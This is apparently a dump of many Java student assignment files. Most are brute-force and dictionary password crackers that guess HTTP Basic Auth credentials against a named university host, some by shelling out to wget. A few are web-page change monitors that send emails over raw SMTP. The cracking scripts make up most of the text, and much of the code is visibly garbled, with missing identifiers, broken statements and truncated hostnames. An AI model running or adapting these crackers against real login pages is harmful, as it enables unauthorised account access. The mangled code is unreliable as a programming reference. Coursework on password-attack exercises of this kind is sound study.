                        if(password.length()<=3)
                         {
                           s=""wget --http-user= --http-passwd=""+password+""  http://sec-crack.cs.rmit.edu./SEC/2/ "";
                           p=r.exec(s);
                           System.out.println(password);
                           noOfAttempts++  ;
                           p.waitFor();
                           r.freeMemory();
                           r.gc();
                           exitValue=p.exitValue();
                         }

         		        if(exitValue==0)
               	          {
                              System.out.println(""The paswword is :""+password);
                              finishTime=System.currentTimeMillis();
                              System.out.println(""Total Time Taken:=""+((finishTime-startTime)/1000)+"" seconds"");
                              System.out.println(""Number of attempts:=""+noOfAttempts);
                              break;
                 		   }

	    	          }

		          fr.print();
		       }
		 catch(Exception e)
		 {

		   System.out.println(e);

		 }
		 finally
		 {

		   if(exitValue!=0)
		   System.out.println(""Password not cracked--oops"");
		 }

      }
    }"
115.java,"
import java.net.*;
import java.util.*;
import java.io.*;

public class PasswordTest {
    
    private String strURL;
    private String strUsername;
    private String strPassword;
    
    
    public PasswordTest(String url, String username, String password) {
        strURL = url;
        strUsername = username;
        strPassword = password;        
    }
 
    boolean func() {
        boolean result = false;

        Authenticator.setDefault (new MyAuthenticator ());
        try {
            URL url = new URL(strURL);
            HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
            urlConn.connect();
            if(urlConn.getResponseMessage().equalsIgnoreCase(""OK"")) {
               result = true;
            }
        } 
        catch (IOException e) {}
        
        return result;
    }
    
    
     class MyAuthenticator extends Authenticator {
       protected PasswordAuthentication getPasswordAuthentication() {
            String username = strUsername;
            String password = strPassword;
            return new PasswordAuthentication(username, password.toCharArray());
        }
    }

}
"
012.java,"import java.net.*; 
import java.io.*; 
import java.util.regex.*;
import java.util.Date;
import java.util.*;
import java.text.*; 




public class WatchDog { 
  public static BufferedReader in;
  

  public static int LIMITINMINUTES=60*24;
  public static int TIMELIMIT=LIMITINMINUTES*1000*60;
  public static void main(String[] args) throws Exception { 
    
    String watchedPage = ""http://www.cs.rmit.edu./students/"";
    String currentPage = """";  
    
    
    System.out.println("" stop the program, press \""Alt + C\"""");
    
    boolean loggedout=false;
    while (!loggedout){
      
      currentPage="""";
      
      
      Date date = new Date();
       startTime=date.getTime();
      
      
      URL cs = new URL(watchedPage); 
      HttpURLConnection connection;
      URLConnection csc = cs.openConnection();      
      try {
	BufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); 
	String inputLine; 
	
	while ((inputLine = in.readLine()) != null) {
	  currentPage = currentPage+inputLine;
	}
	
      }
      catch (IOException s) {    
      }
      finally {
	while(in!=null)
          in.next();
      }
      
      String lastPage=readData();
      if (lastPage.trim().equals(currentPage.trim())) {
	System.out.println(""Pages match, nothing  email."");
      }
      else {
	
	
	String checkCurrentPage = currentPage.trim();
	String checkLastPage = lastPage.trim();
	int iterations;
	
	boolean lastLongestString;
	if (checkCurrentPage.length()<checkLastPage.length()) {
          iterations = checkCurrentPage.length();
	  lastLongestString = true;
	}
	else {
          iterations = checkLastPage.length();
	  lastLongestString = false;
	  
	}
	String additions = ""Here  the additions  the : \n"";
	boolean add=false;
	String subtractions = ""Here  the parts removed from the : \n"";
	boolean sub=false;
	for (int count=0; count<iterations; count++) {
          
	  if (checkLastPage.length()>count && checkCurrentPage.length()>count){
	  
            if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) {
	      
	      
	      if (count<20){
		additions = ""Sorry changes   together  distinguish additions and subtractions  . Here is where  : ""+ checkCurrentPage.substring(count, checkCurrentPage.length());
		count = iterations;
	      }
	      else {
		
		
		checkCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());
		checkLastPage=checkLastPage.substring(count, checkLastPage.length());
		iterations=iterations-count;
		count=0;

		
		
		
		String regexAdd="""";
		if (checkLastPage.length()<20){
		  regexAdd=checkLastPage.substring(count, checkLastPage.length());
		}
		else {	  
		  regexAdd=checkLastPage.substring(0,19);
		}
		String [] changes=checkCurrentPage.split(regexAdd, 2);
		int changeslength=changes.length;
		
		if (changeslength>1){
		  
		  add=true;
		  additions = additions + changes[0];	  
		  
		  
		  if (changeslength>1){
		    checkCurrentPage=regexAdd+changes[1];
		  }
		  else {
		    if (lastLongestString==true) 
	              count=iterations;
		  }  
		}
		else { 
	  		  
		  
		  
		  String regexSub="""";
		  if (checkCurrentPage.length()<20){
		    regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());
		  }
		  else {	  
		    regexSub=checkCurrentPage.substring(0,19);
		  }
		  String [] changesSub=checkLastPage.split(regexSub, 2);
		  int changeslengthSub=changesSub.length;
		  
		  if (changeslengthSub>1){
		    
		    sub=true;
		    subtractions = subtractions + changesSub[0];	  
		    
		    
		    if (changeslengthSub>1){
		      checkLastPage=regexSub+changesSub[1];
		    }
		    else {
		      if (lastLongestString==false) 
		      count=iterations;
		    }
		    
		    
		  }
		}
	      }

            } 
	  } 
	} 
	
	
	String emailBody=""Changes   have been . \n""+additions+subtractions;

	
	sendEmail(emailBody);
      }

      
      writeData(currentPage);
      
      
      wait24(startTime);
    } 
  } 
  
  
  private static void wait24( int startTime) {
     boolean waiting=true;
     while(waiting){
       Date endDate = new Date();
        endTime=endDate.getTime();
       
       
       if (endTime>(TIMELIMIT+startTime)){
         
          waiting=false;
       }	
     }
  } 
     
  
  public static String readData() {
    String data;
    String lastPage="""";
    try {
      BufferedReader in = new BufferedReader(new FileReader(""LastVisitedPage.html""));
      while ((data = in.readLine())!=null) {
        lastPage= lastPage + data +""\n"";
      }
      
    }
    catch (FileNotFoundException e1) {
      System.exit(0);
    }
    catch (IOException e2) {
      System.out.println(""IO Exception, exiting"");
      System.exit(0);
    }	    
    finally {
      try {
	if (null!=in) {
        in.next();
	}
    }
    catch (IOException e3) {}
    }
    return lastPage;
  }
  
  
  public static void writeData(String currentPage) {
    PrintWriter out;
      try {
	out = new PrintWriter (new BufferedWriter(new FileWriter(""LastVisitedPage.html"")));
	out.println(currentPage);
	
	
      }
      catch (IllegalArgumentException e1) {
	System.out.println (""Sorry, 't write  file. None of changes in this session have been saved"");
	System.exit(0);
      }
      catch (IOException e2) {
	System.out.println (""Sorry, 't write  file. None of changes in this session have been saved"");
	System.exit(0);
	}
      finally {}    
  }  

 
 
 
  public static void sendEmail(String emailBody){
    
    Socket smtpSocket =null;
    DataOutputStream os = null;
    InputStreamReader is = null ;

    Date dDate = new Date();
    DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);

    try{ 
      smtpSocket = new Socket("".rmit.edu."", 25);
      os = new DataOutputStream(smtpSocket.getOutputStream());
      is = new InputStreamReader(smtpSocket.getInputStream());
      BufferedReader  = new BufferedReader(is);

      if(smtpSocket != null && os != null && is != null){ 
      
	try {   
	  os.writeBytes(""HELO .rmit.edu.\r\n"");
	  
	  
	  os.writeBytes(""MAIL From: <@.rmit.edu.>\r\n"");

	  
	  os.writeBytes(""RCPT : <@cs.rmit.edu.>\r\n"");

	  
	  
	  os.writeBytes(""DATA\r\n"");

	  os.writeBytes(""X-Mailer: Via Java\r\n"");
	  os.writeBytes(""DATE: "" + dFormat.format(dDate) + ""\r\n"");
	  os.writeBytes(""From:  <@cs.rmit.edu.>\r\n"");
	  os.writeBytes("":   <@cs.rmit.edu.>\r\n"");

	  os.writeBytes(""Subject:  updated\r\n"");
	  os.writeBytes(emailBody + ""\r\n"");
	  os.writeBytes(""\r\n.\r\n"");
	  os.writeBytes(""QUIT\r\n"");

	  
	  
	  String responseline;
	  while((responseline=is.readLine())!=null){  
            
            if(responseline.indexOf(""Ok"") != -1) {
            break;
            }
	  }
	}
	catch(Exception e){  
	  System.out.println(""Cannot send email as  error occurred."");  
	}
      }
      else 
	System.out.println(""smtpSocket  another variable is null!"");
    } 
    catch(Exception e){ 
      System.out.println(""Host unknown""); 
    }
  } 
   
} 


"
051.java,"import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;

public class Dictionary 
{
  String uname = """";
  String pword = ""null"";
  Vector v = new Vector();
   int runTime;
  public void doConnect(String connect, int num)
  {
    String  = connect;
    
    try
     {
       URL secureSite = new URL();
       URLConnection connection = secureSite.openConnection();
       if (uname != null || pword != null)
	  {
	   
	    for(int i=num; i<v.size(); i++)
	    {
	      pword = (String)v.elementAt(i);
	      String up = uname + "":"" + pword;
            String encoding;
            try
		{
		  connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
		  encoding = encoder.encode (up.getBytes());
		 
           }
	     catch (Exception ex) 
            {
		  Base64Converter encoder = new Base64Converter();
		  System.out.println(""in catch"");
              encoding = encoder.encode(up.getBytes());
           }
	     connection.setRequestProperty (""Authorization"", "" "" + encoding);
           connection.connect();
           if(connection instanceof HttpURLConnection)
	     {
	       HttpURLConnection httpCon=(HttpURLConnection)connection;
             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
		  {
		   System.out.println(""Not authorized - check  for details"" + "" -Incorrect Password : "" + pword);
	         doConnect(i, i+1);
	       }
		else
		 { 
		  System.out.println(""\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"");
	        System.out.println( +""\tPassword : ""+ pword);

              runTime = System.currentTimeMillis() - runTime; 
              System.out.println(""Time taken  crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken  crack password : ""+ i);
	        System.exit(0);
	      }
	    }
	  }
      }
    }
    catch(Exception ex)
    {
      ex.printStackTrace();
    }
  }
  public Vector getPassword()
  {
    try
    {
      ReadFile  rf = new ReadFile();
      rf.loadFile();
      v = rf.getVector();
    }
    catch(Exception ex)
    {
      ex.printStackTrace();
    }
    return v;
  } 
  public void setTimeTaken( int timetaken)
  {
    runTime = timetaken;
  }   
  public static void main ( String args[] ) throws IOException 
  {
    
     runTime1 = System.currentTimeMillis();     
    Dictionary newDo = new Dictionary();
    newDo.setTimeTaken(runTime1);
    newDo. getPassword();
    String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
    newDo.doConnect(site, 0);
    
  }  
  
}

class  Base64Converter
      {
  
          public final char [ ]  alphabet = {
              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
              'w', 'x', 'y', 'z', '0', '1', '2', '3',   
              '4', '5', '6', '7', '8', '9', '+', '/' }; 
  
  
          public String  encode ( String  s )
          {
              return encode ( s.getBytes ( ) );
          }
  
          public String  encode ( byte [ ]  octetString )
          {
              int  bits24;
              int  bits6;
  
              char [ ]  out
                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
  
              int outIndex = 0;
              int i        = 0;
  
              while ( ( i + 3 ) <= octetString.length ) {
                  
                  bits24=( octetString [ i++ ] & 0xFF ) << 16;
                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
  
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0000003F );
                  out [ outIndex++ ] = alphabet [ bits6 ];
              }
  
              if ( octetString.length - i == 2 )
              {
                  
                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;
                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
                  out [ outIndex++ ] = alphabet [ bits6 ];
  
                  
                  out [ outIndex++ ] = '=';
              }
              else if ( octetString.length - i == 1 )
              {
                  
                  bits24 = ( octetString [ i ] & 0xFF ) << 16;
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
  
                  
                  out [ outIndex++ ] = '=';
                  out [ outIndex++ ] = '=';
              }
  
              return new String ( out );
          }
       }
  
  
"
208.java,"
import java.io.*;
import java.util.*;

public class Dictionary
{
   private DicReader crack;
   private Vector clients;
   private int num;
   privateint  bigStart;

   public int Dictionary()
   {
      int i, j;
       int start, finish;
      start = 0;
      finish = 0;
      crack = new DicReader(""/usr/share/lib/dict/words"");
      num = crack.getVictor().size();
      clients = new Vector( num);
      j = 0;
      bigStart = System.currentTimeMillis();
      for( i = 0; i < num; i++)
      {
          MyClient1 client =  new MyClient1(this, i + 1, 80, (String)crack.getVictor().elementAt( i));
          
          clients.add( client);
	  Thread t = new Thread( client);
	  t.start();
          j++;
          if(j == 100)
          {
             t = System.currentTimeMillis();
             System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i));
             finish = 0;
             while( (finish - t ) < 1000)
             {
                finish = System.currentTimeMillis();
             }
             j = 0;
          }
    
      }
       
   }
   public void retire(int MyClient1 )
   {
      
      bigFinish = t.getTime();
      System.out.println(""It took ""+(bigFinish - bigStart)/1000+"" seconds  crack the password"");
      System.exit(0);
   }
   public static void main (String[] args)
   {
      Dictionary  = new Dictionary();
   }
}
      
"
021.java,"



import java.util.*;
import java.net.*;
import java.io.*;
import misc.BASE64Encoder;
import javax.swing.*;

public class ConnectionThread extends Thread
{
    private String         url;
    private URL            currURL;
    private URLConnection  conn;
    private HoldSharedData sharedData;
    private int            noOfThread;
    private int            batch;

    public ConnectionThread( String pageURL, int wThread,
                             int newBatch, HoldSharedData data )
    {
        super();
        url = pageURL;
        noOfThread = wThread;
        batch = newBatch;
        sharedData = data;
    }

    
    public void run()
    {
        try
        {
            currURL = new URL( url );

            for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
                                    (i < sharedData.getPwdCount()); i ++ )
            {
                String pwd = sharedData.getPasswordAt( i );

                conn = currURL.openConnection();

                if (conn instanceof HttpURLConnection)
                {
	            HttpURLConnection hconn = (HttpURLConnection) conn;
                    hconn.setFollowRedirects(false);
                    String cad = "" "" + based64Encoder( "":"" + pwd );
                    hconn.setRequestProperty( ""Authorization"", cad );

                    hconn.connect();
	            int response = hconn.getResponseCode();
                    sharedData.setNumOfConnections();

                    if( response == 200 )
                    {
                         totalTime = System.currentTimeMillis() -
                                           sharedData.getStartTime();
                        int numOfConnections = sharedData.getNumOfConnections();

                        System.out.println( ""Password is "" + pwd );
                        System.out.println( ""Total Time(seconds)= "" +
                                            (double)totalTime/1000 );
                        System.out.println( ""Total Number Of Connections: "" +
                                                          numOfConnections );
                        System.exit(0);
                    }
                    else
                    {
                        hconn.disconnect();
                    }
                }
            }
        }
        catch( MalformedURLException mue )
        {
            String msg = ""Unable  parse URL: "" + url;
            System.err.println( msg );
        }
        catch( IOException ioe )
        {
            System.err.println( ""I/O Error : "" + ioe );
        }
    }

    private String based64Encoder( String pwd )
    {
        
        String str = pwd;
        byte[] buf = str.getBytes();
        String encodedStr = new misc.BASE64Encoder().encode(buf);


        return encodedStr;
    }
}  "
139.java,"import java.io.*;
import java.util.Date;
import java.util.regex.*; 





import java.jscape.inet.http.*;







class Dictionary
{
   public static void main (String args[]) throws Exception
   {
      String username = """";
      int errorMessage = 401;   
      int attempts = 0;

      FileReader fReader = new FileReader (""/usr/share/lib/dict/words"");
      BufferedReader buffReader = new BufferedReader (fReader);
      
      String word;
      int wordLength ;

      Http http = new Http();
      HttpRequest request = new HttpRequest (""http://sec-crack.cs.rmit.edu./SEC/2/"" );
      

      Date startDate = new Date(); 
 

      while(( word = buffReader.readLine()) != null)
      {
         if (errorMessage == 200)
            break; 
         
         wordLength = word.length();
 
         if(wordLength <=3) 
         {
            
            Pattern lettersOnly = Pattern.compile (""[A-Za-z]+"");
            Matcher pword = lettersOnly.matcher (word); 
            if (pword.matches() == true)
            { 
               String password = pword.group();
               request.setBasicAuthentication(username,password);
               HttpResponse response = http.getResponse(request);
               errorMessage = response.getResponseCode();
               System.out.println(errorMessage);
               System.out.println(password);
               attempts++;
               if (errorMessage == 200)
                  break;
            }
         }
      }
      Date endDate = new Date();
      System.out.println(""Password crack finished: "" + endDate);
      System.out.println(""Password crack started: "" + startDate);
      System.out.println("" of attempts: "" + attempts);
   }
} 
      
            
      
      
      "
121.java,"


import java.text.*;  
import java.util.*;  
import java.net.*;  
import java.io.*;  

  
public class BruteForce {  

   public int runProcess(String urlString,String passwd) {  

       int returnval = 0;
       MyAuthenticator auth = new MyAuthenticator(passwd);
       Authenticator.setDefault(auth);

	       System.out.println(""trying passord: "" + passwd);
       try{
            URL yahoo = new URL(urlString); 
            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));
            String inputLine;
            while ((inputLine = in.readLine()) != null) {
	       System.out.println(inputLine);
	       System.out.println(""passord: "" + passwd);
               returnval = 1;
            }
	    in.close();
          }catch(Exception e){ returnval = 0;}
       return returnval;
   }

   public static void  main(String argv[]) {  

       String[] val = 
{""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};

      int l1 = 0;

      int l2 = 0;

      int l3 = 0;
      
      int retval = 0;

      String pwd = """";

      
      BruteForce s = new BruteForce();  
      String urlToSearch = ""http://sec-crack.cs.rmit.edu./SEC/2/"";  
    
      for (int a = 0; a < 52; a++) {

        l1 = a;

        pwd = val[l1];
        retval = 0;
        retval = s.runProcess(urlToSearch,pwd);  
        if (retval > 0) {
           System.exit(0);
        }
      }


      for (int b = 0; b < 52; b++) {
        l1 = b;
        for (int c = 0; c < 52; c++) {

          l2 = c;
          pwd = val[l1]+ val[l2];
          retval = 0;
          retval = s.runProcess(urlToSearch,pwd);  
          if (retval > 0) {
             System.exit(0);
          }
        }
      }


      for (int d = 0; d < 52; d++) {
        l1 = d;
        for (int e = 0; e < 52; e++) {
          l2 = e;
          for (int f = 0; f < 52; f++) {

              l3 = f;

              pwd = val[l1]+ val[l2]+ val[l3];
              retval = 0;
              retval = s.runProcess(urlToSearch,pwd);  
              if (retval > 0) {
                 System.exit(0);
              }
           }
        }
      }

    }  
}     

"
120.java,"


public class PasswordGen {
    
    private int iLastSeed = 0;
    private int iPasswordLength = 3;
    private String strPassword;
    
    
    public PasswordGen() {
        strPassword = """";
    }
    
    public boolean setSeed(int iSeedVal) {
        iLastSeed = iSeedVal;
        return true;
    }
    
    public String getPassword() {
        return strPassword;
    }
    
    public String getPassword(int iSeed) {
        int iRemainder, iAliquot, i;
        int arrChars[];
        boolean fDone;
        
        
        
        arrChars = new int[iPasswordLength];
        for(i = 0; i<iPasswordLength; i++)
                arrChars[i] = 0;

        fDone = false;
        iAliquot = iSeed;
        i=0;
        while(!fDone) {
            iRemainder = iAliquot % 52;
            if(iRemainder == 0) iRemainder=52;
            iAliquot = iAliquot / 52;
            
            arrChars[i] = iRemainder;
            if(i<iPasswordLength) i++;
            if(iAliquot == 0)
                fDone = true;
        }
        
        strPassword = convertPassword(arrChars);
        
        return strPassword;
    }
    
    public String getNextPassword() {
        iLastSeed++;
        strPassword = getPassword(iLastSeed);
        return strPassword;
    }
 
    private String convertPassword(int[] chars) {
        String strPwd;
        int i;
        
        strPwd = """";
        
        for(i=0; i<iPasswordLength; i++)
        {
            
            if(chars[i] != 0)
            {
                if (chars[i] < 27)
                {
                    strPwd += new Character((char)(chars[i]+64)).toString();
                }
                else
                {
                    strPwd += new Character((char)(chars[i]+70)).toString();
                }
            }
        }
        return strPwd;
    }
}
"
026.java,"
import java.util.*;
import java.net.*;
import java.io.*;
public class ScheduleTask extends Thread
{

    private int flag=0,count1=0,count2=0;
    private Vector change;
    public ScheduleTask(Vector init)
     {
       try
       {

          Runtime run = Runtime.getRuntime();
          String command_line = ""lynx http://yallara.cs.rmit.edu./~/index.html -dump"";
          Process result = run.exec(command_line);
          BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
          String inputLine;
          Vector newVector = new Vector();
          change = new Vector();
          while ((inputLine = in.readLine()) != null)
          {
             newVector.addElement(inputLine);
          }
          if(init.size()>newVector.size())
             {
                for(int k=0;k<newVector.size();k++)
                   {
                     if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString()))
                        change.addElement((Object)newVector.elementAt(k));
                     count1=k;
                   }
                for(int j=count1+1;j<init.size();j++)
                {
                  if(init.elementAt(j)!=null)
                     change.addElement((Object)init.elementAt(j));
                  else
                     break;
                }
             }
           else if(init.size()<=newVector.size())
           {
                for(int l=0;l<init.size();l++)
                   {
                     if(!init.elementAt(l).toString().equals(newVector.elementAt(l).toString()))
                        change.addElement((Object)newVector.elementAt(l));
                     count2=l;
                   }
                for(int j=count2+1;j<newVector.size();j++)
                {
                  if(newVector.elementAt(j)!=null)
                     change.addElement((Object)newVector.elementAt(j));
                  else
                     break;
                }
           }
          
        if(!newVector.equals(init))
        {
        Email aEmail = new Email(change);
        aEmail.send();
        sleep(1000*60*24);
        flag=1;
        }
       }
       catch(Exception e)
       {
          System.out.println(e);
       }
    }
           public int getFlag()
       {
         return(flag);
       }
}"
028.java,"
import java.io.*;
import java.net.Socket;
import java.util.*;

public class Email
{
     private String hello;
     private String mailFrom="""";
     private String mailTo="""";
     private String mailData="""";
     
     private String subject="""";
     private String content="""";
     private String follows="""";
     private String changeContent="""";
     private String stop="""";
     private String end="""";
     private String line="""";
     private InputStream is;
     private BufferedReader bf;
     private OutputStream os;
     private PrintWriter pw;
     public Email(Vector change)  throws Exception
     {
      hello= ""HELO mail.rmit.edu."";
      mailFrom = ""MAIL FROM: @cs.rmit.edu."";
      mailTo = ""RCPT : @cs.rmit.edu."";
      mailData = ""DATA"";
      subject=""Subject: Some changes occur"";
      content="" is some changes  the : http://www.cs.rmit.edu./students/"";
      follows=""The changes  as follows:"";
      for(int i=0;i<change.size();i++)
        changeContent+=change.elementAt(i).toString()+""\r\n"";
      stop =""\r\n."";
      end=""QUIT"";
     }
     public void send() throws Exception
     {
      Socket sk = new Socket(""mail.cs.rmit.edu."",25);
      is= sk.getInputStream();
      os = sk.getOutputStream();
      pw = new PrintWriter(new OutputStreamWriter(os));
      pw.println(hello);
      pw.println(mailFrom);
      pw.println(mailTo);
      pw.println(mailData);
      pw.println();
      pw.println(subject);
      pw.println(content);
      pw.println(follows);
      pw.println(changeContent);
      pw.println(stop);
      pw.println(end);
      pw.flush();
      pw.get();
      
     }
}"
188.java,"

import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;



public class BruteForce
{
   private URL url;
   private HttpURLConnection connection ;
   private  int stopTime = 0;
   private  int startTime = 0;
   private  int count = 0;

   public BruteForce()
   {
      System.out.println(""Process is running..."");
      startTime = System.currentTimeMillis();
      threeLetters();
      twoLetters();
   }

   public static void main (String args[])
   {
      BruteForce bf = new BruteForce();
   }
   
   public void threeLetters()
   {
      String s1;
      char [] a = {'a','a','a'};

      for (int i0 = 0; i0 < 26; i0++)
      {
         for (int i1 = 0; i1 < 26; i1++)
         {
            for (int i2 = 0; i2 < 26; i2++)
            {
               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
		            String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                    (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
		            String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                    (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;
            }
         }
      }
   }
   
   public void twoLetters()
   {
      String s1;
      char [] a = {'a','a'};

      for (int i0 = 0; i0 < 26; i0++)
      {
         for (int i1 = 0; i1 < 26; i1++)
         {
            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));
            decision(s1);
            count++;

            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();
            decision(s1);
            count++;

            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                 (String.valueOf((char)(a[1] + i1))).toUpperCase();
            decision(s1);
            count++;

            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));
            decision(s1);
            count++;
         }
      }
   }

   
   public void decision(String s1)
   {
      if (find(s1) == 200)
      {
         stopTime = System.currentTimeMillis();
          runTime = stopTime - startTime;
         System.out.println(""***************************************"");
         System.out.println(""\nAttack successfully"");
         System.out.println(""\nPassword is: "" + s1);
         System.out.println(""\nThe contents of the Web site: "");
         displayContent(s1);
         System.out.println(""\nTime taken  crack: "" + runTime + "" millisecond"");
         System.out.println(""\nNumber of attempts: "" + count);
         System.out.println();

         System.exit(0);
      }
   }
   
   
   public int find(String s1)
   {
      int responseCode = 0;
      try
      {
         url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1));

         responseCode = connection.getResponseCode();

      }catch (Exception e)
      {
          System.out.println(e.getMessage());
      }
      return responseCode;
   }

   
   public void displayContent(String pw)
   {
      BufferedReader bw = null ;
      try
      {
         url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw));
         InputStream stream = (InputStream)(connection.getContent());
         if (stream != null)
         {
             InputStreamReader reader = new InputStreamReader (stream);
             bw = new BufferedReader (reader);
             String line;

             while ((line = bw.readLine()) != null)
             {
                System.out.println(line);
             }
        }
      }
      catch (IOException e)
      {
         System.out.println(e.getMessage());
      }
   }
}




"
103.java,"

import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;

public class BruteForce
{
  public BruteForce()
  {}

  public boolean fetchURL(String urlString,String username,String password)
  {
     StringWriter  = new StringWriter();
     PrintWriter  pw = new PrintWriter();
     try{
       URL url=new URL(urlString);  
       String userPwd= username+"":""+password;

       
       
       
       

       BASE64Encoder encoder = new BASE64Encoder();
       String encodedStr = encoder.encode (userPwd.getBytes());
       System.out.println(""Original String = "" + userPwd);
	 System.out.println(""Encoded String = "" + encodedStr);

       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  
       huc.setRequestProperty( ""Authorization"","" ""+encodedStr);   
       InputStream content = (InputStream)huc.getInputStream();
       BufferedReader in   = 
       new BufferedReader (new InputStreamReader (content));
       String line;
       while ((line = in.readLine()) != null) {
         pw.println (line);
       System.out.println(""*************************************************"");
       System.out.println(sw.toString());
       }return true;
     } catch (MalformedURLException e) {
       pw.println (""Invalid URL"");
       return false;
     } catch (IOException e) {
       pw.println (""Error  URL"");
       return false;
     }

  }

  public void getPassword()
  {  
     String alps=""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"";
     String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/"";
     String login="""";
     String pwd="" "";

      startTime=System.currentTimeMillis();
     for(int oneChar=0;oneChar<alps.length();oneChar++)
     {
        pwd=alps.substring(oneChar,oneChar+1);
        if(this.fetchURL(urlString,login,pwd))
        {
            finishTime=System.currentTimeMillis();
           System.out.println(""Finally I gotta it,  password is : ""+pwd);
           System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds"");
           System.exit(1);
        } 
        for(int twoChar=0;twoChar<alps.length();twoChar++)
        {
           pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1);
           if(this.fetchURL(urlString,login,pwd))
           {
              finishTime=System.currentTimeMillis();
             System.out.println(""Finally I gotta it,  password is : ""+pwd);
             System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds"");
             System.exit(1);
           }
           for(int threeChar=0;threeChar<alps.length();threeChar++)
           {
             pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1)+alps.substring(threeChar,threeChar+1);
             if(this.fetchURL(urlString,login,pwd))
             {
                finishTime=System.currentTimeMillis();
